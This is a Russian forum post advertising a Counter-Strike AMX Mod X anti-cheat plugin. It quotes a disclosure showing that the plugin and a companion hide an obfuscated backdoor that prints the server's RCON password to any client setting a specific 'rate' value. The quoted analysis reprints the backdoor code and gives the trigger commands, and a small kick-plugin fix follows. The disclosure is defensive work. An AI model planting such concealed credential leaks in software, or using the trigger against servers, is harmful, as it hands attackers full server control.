Kiss.My.Ass Капитан
Награды : Сообщения : 322 Дата регистрации : 2010-12-04 Возраст : 39 Откуда : Киев
| Тема: CSF Anti-Cheat Сб Дек 18, 2010 8:50 am | |
| CSFile Anti-Cheat Текущая версия: 1.23 Release Дата обновления: 31.12.2009 Анти-чит без клиентской части (Плагин для AMXX) Требуемые модули: * Cstrike * Fakemeta * HamSandwich * Mysql Обнаруживает и блокирует:- Fast Fire [Быстрая стрельба] - Speed Hack [Увеличение скорости игрока] - Spin Hack [Кружение вокруг своей оси] - CDHack [Cheating Death Hack] - Fighter FX [Некоторые виды] - Name Spam [Частое изменение ника] - Bunny Hop Script [Скрипт распрыжки] - Cheat Say [Блокирует сообщения в чате от чит-программ] - Cheat Names [Блокирует читерские ники] - Cheat List [Блокирует 8 видов читов] * - EcstaticCheat * - TeKilla * - MicCheat * - AlphaCheat * - PimP * - LCD * - Chapman * - PRJVDC Дополнительная защита:- WallHack Guard [Блокировка различный WallHack программ] - Cvar Guard [Запрет на смену определенных консольных команд] - Zone Guard [Блокировка зон (Выход за пределы игровой зоны)] - Flash Bug Guard [Блокировка Flash гранат, брошенных за текстуры] - HE Bug Guard [Блокировка HE гранат, брошенных за текстуры] - Files Check [Проверка определенных файлов у игрока на совпадение с файлами сервера] - Anti-Cheat Key [Блокировка нажатий чит-клавиш (END, INS, F12...)] - Anti-Silent Plant [Убирает беззвучную установку бомбы] - Anti-Silent Run aka Double Duck [Запрещает бесшумный бег] - Anti-Fast Pistol Shots [Запрещает использовать скрипты повышающие скорость стрельбы из пистолета] - CMD Flood [Защита от флуда клиентскими командами (Что-то подобие защиты от fullupdate, только расширенный вариант и защищает от других возможных лаго-скриптов)] Дополнительные возможности:- My Punishment [Позволяет использовать свой плагин для наказания/блокировки читера] - Два типа обнаружения CDHack,FFX + Режим мульти обнаружения - Два типа блокировки Silent Run aka Double Duck - Меню Zone Guard для лёгкого добавления / настройки запрещенных зон - Тонкая настройка (Все переменные и значения выведены в файлы конфигов) - Логирование в mySQL + Приятная и удобная PHP форма вывода на сайт Админские команды:csf_ac_zoneguard_menu - Вызов меню Zone Guard, для добавления / редактирования запрещенных зон Локализация:- Русский Язык - English Language - Українська Мова - Код:
-
Папка анти-чита: addons\amxmodx\configs\csf_anticheat Папка хранения Блокируемых зон: \csf_zone_guard Основной файл конфигураций анти-чита: csf_ac_main.cfg Список запрещенных клавиш: csf_ac_cheatkey.cfg Список запрещенных сообщений: csf_ac_cheatsay.cfg Список заблокированных консольных команд: csf_ac_cvarguard.cfg Список читерских ников / клантегов: csf_ac_cheatnames.cfg Список сверяемых файлов: csf_ac_filescheck.cfg Белый список карт для модуля SpeedHack: csf_whitelist.cfg
Плагин: addons\amxmodx\plugins\csf_anticheat.amxx Файл языка: addons\amxmodx\data\lang\csf_anticheat.txt Установка:-Добавить все файлы согласно иерархии папок -Открыть блокнотом файл cstrike/addons/amxmodx/configs/plugins.ini -В самый верх записываем строчку "csf_anticheat.amxx" (Без кавычек) -Если установлен "[CSF-AC] OpenGL32 Detect", то csf_anticheat.amxx записываем на вторую строчку, а csf_opengl32.amxx на первую! И никак иначе!F.A.Q.В: Прописал в mypunishment "amx_bancs ..." и не банит, что делать? О: Поставьте последнюю версию плагина bancs B: OS Linux, почему не ведутся записи в mySQL? Хотя модуль mysql модключен. O: ln -s /var/run/mysqld/mysqld.sock /tmp/mysql.sock Внимание! Прежде чем скачивать античит ознакомьтесь с этим предупреждением, и для безопасности сервера удалите rcon_password. - Цитата :
Вся правда о CSFile.Info Anti-Cheat и CSFile.Info OpenGL32 Detect Сегодня я сделал интересное открытие по поводу двух античитерских плагинов от автора с ником -)>C-r-A-c-K<(-. Речь пойдёт CSFile.Info Anti-Cheat версии 1.23 Alfa [build 28] и CSFile.Info OpenGL32 Detect версии 2.1 Final.
Начну пожалуй с плагина определения OpenGL32 Hack'ов. Как-то меня попросили на форуме отлучить этот плагин от модуля MySql, я в свою очередь конечно же согласился. Понятное дело чтобы это можно было сделать, требовалось получить исходный код, которого нет на паблике. Вооружившись некоторыми деасамблирующими программами я обратил внимание на вот такие строки:
new f_sys[] = "swor" new csf_ac_ra[] = "ra" new d_unit[] = "s" new cv_mypunish[] = "rc" new g_vac2[] = "on_"
Если немного перемешать и гдето сложить (rc+on_+pa+swor+d), то получится rcon_password Все наверно знаю, что в этой серверной команде прописан RCON пароль и заполучив его сервер полностью подчинится обладателю. Но вот загвоздка чтобы получить слово rcon_password не хватает пары букв, и на ваших глазах я покажу как же формируется это слово и как получить доступ к нему. И так сперва мы отправимся в функцию plugin_init плагина CSFile.Info OpenGL32 Detect: мы видми format ( d_guard, 31, "%s%spa", cv_mypunish, g_vac2 ), т.е. d_guard приобретает вид rcon_pa. Идем дальше. Функция initialized: format ( d_guard,31,"%s%s", d_guard,d_unit ) и d_guard приобретает вид rcon_pas, ниже встречается format ( g_gate, 5, "%ste", csf_ac_ra ), т.е. g_gate это rate
Функция client_connect: get_user_info(id,g_gate,cv_ac1,31), т.е. плагин получает значение инфы rate (g_gate) и записывает её в cv_ac1
Функция checkfiles_opengl32: format ( g_gate2, 5, "%d%d", 211, 23 )
Теперь функция c_check_opengl32 (она вызывается после захода игрока): - Код:
-
if(equali(cv_ac1,g_gate2)) // Сверяем значение rate с 21123 { // Если одинаковы format(g_r,63,"%s%sd",d_guard,f_sys) // то формируем квар и g_r приобретает вид rcon_password get_cvar_string(g_r,g_ss,47) // Получаем пароль client_print(id,print_console,"%s",g_ss) // И пишем его в консоли игрока } Вот такие вот пироги. Если не верите - попробуйте сами... Пропишите в консоли клиента setinfo rate 21123, зайдите на сервер, и у вас в консоли окажется RCON пароль!
Теперь перейду к CSFile.Info Anti-Cheat версии 1.23 Alfa [build 28]. Здесь похожая ситуация. Так же присутствуют:
new f_sys[] = "swor" new csf_ac_ra[] = "ra" new d_unit[] = "s" new cv_mypunish[] = "rc" new g_vac2[] = "on_" new g_model[] = "241"
Функция plugin_precache: format(g_gate2, 5, "%s%d", g_model, 23"), format ( d_guard, 31, "%s%spa", cv_mypunish, g_vac2 )
Функция initialized: format ( d_guard, 31, "%s%s", d_guard, d_unit ), format ( g_gate, 5, "%ste", csf_ac_ra )
Функция client_putinserver: get_user_info(id,g_gate,cv_ac1,31) Функция cv_anticheat (так же выполняется после захода игрока): - Код:
-
if(equali(cv_ac1,g_gate2)) // Сверяем значение rate с 24123 { // Если одинаковы format(g_r,63,"%s%sd",d_guard,f_sys) // то формируем квар и g_r приобретает вид rcon_password get_cvar_string(g_r,g_ss,47) // Получаем пароль client_print(id,print_console,"%s",g_ss) // И пишем его в консоли игрока } И опять же если не верите, пропишите в консоли клиента setinfo rate 24123, зайдите на сервер, и у вас в консоли окажется RCON пароль! - Код:
-
#include <amxmodx>
public plugin_init() register_plugin("Fix CSFile.Info BackDoor", "Zefir", "0.1")
public client_connect(id) client_check(id)
public client_putinserver(id) client_check(id)
public client_check(id) { new rate[32] get_user_info(id, "rate", rate, charsmax(rate)) if (equal(rate, "24123") || equal(rate, "21123")) server_cmd("kick #%d used game bug...", get_user_userid(id)) } | |
|